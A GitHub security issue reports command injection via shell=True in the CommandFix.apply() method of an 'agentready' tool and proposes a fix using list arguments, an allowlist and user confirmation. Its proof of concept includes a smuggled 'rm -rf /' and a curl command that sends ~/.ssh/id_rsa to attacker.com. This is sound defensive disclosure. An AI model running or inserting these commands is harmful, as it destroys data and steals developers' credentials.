Skip to content

SECURITY: Command Injection in CommandFix.apply() via shell=True #52

@jeremyeder

Description

@jeremyeder

Vulnerability Summary

Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78 (OS Command Injection)
Location: src/agentready/models/fix.py:152
Impact: Arbitrary command execution on user's machine

Description

The CommandFix.apply() method executes user-controllable commands with shell=True, allowing command injection attacks.

# VULNERABLE CODE (fix.py:152-159)
subprocess.run(
    self.command,        # User-controlled string
    shell=True,          # DANGEROUS: Enables shell metacharacters
    cwd=cwd,
    check=True,
    capture_output=True,
    text=True,
)

Attack Vector

An attacker who controls repository contents (e.g., malicious CLAUDE.md, assessment config) could craft a finding that generates a malicious CommandFix:

# Malicious command in remediation
command = "echo 'Safe command'; rm -rf / #"

When user runs agentready align --apply, this executes arbitrary commands.

Proof of Concept

  1. Malicious repository creates finding with remediation command:
    • "pip install safety && safety check; curl http://attacker.com/steal?data=$(cat ~/.ssh/id_rsa)"
  2. User runs agentready align --apply
  3. Command executes, exfiltrating SSH keys

Security Impact

  • Arbitrary code execution on developer's machine
  • Privilege escalation (runs as user)
  • Data exfiltration (credentials, source code, secrets)
  • Lateral movement (SSH keys, cloud credentials)
  • Supply chain attack (modify dependencies, inject backdoors)

Remediation

Immediate Fix (P0)

Replace shell=True with list-based arguments:

# SECURITY: Command execution - Use list args to prevent injection
# Why: shell=True allows metacharacters (;, |, &, $()) enabling arbitrary commands
# Prevents: Command Injection (CWE-78)
# Alternative considered: shell=True rejected due to injection risk

def apply(self, dry_run: bool = False) -> bool:
    """Execute the command."""
    if dry_run:
        return True

    import shlex
    import subprocess

    cwd = self.working_dir or self.repository_path

    try:
        # Parse command safely (raises ValueError on shell metacharacters)
        args = shlex.split(self.command)
        
        subprocess.run(
            args,              # List of arguments (safe)
            shell=False,       # SECURITY: Never use shell=True with user input
            cwd=cwd,
            check=True,
            capture_output=True,
            text=True,
            timeout=30,        # Prevent DoS
        )
        return True
    except (subprocess.CalledProcessError, ValueError, subprocess.TimeoutExpired):
        return False

Additional Protections

  1. Validate commands against allowlist:

    SAFE_COMMANDS = {'pip', 'npm', 'git', 'pytest', 'black', 'ruff'}
    if args[0] not in SAFE_COMMANDS:
        raise ValueError(f"Command not allowed: {args[0]}")
  2. Require user confirmation before executing any command:

    click.confirm(f"Execute: {' '.join(args)}?", abort=True)
  3. Add security warnings in documentation:

    • "Never run agentready align --apply on untrusted repositories"
    • "Always review fixes with --dry-run first"

References

Related Issues

  • Path traversal in file operations (separate issue)
  • Unsafe YAML deserialization (separate issue)

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions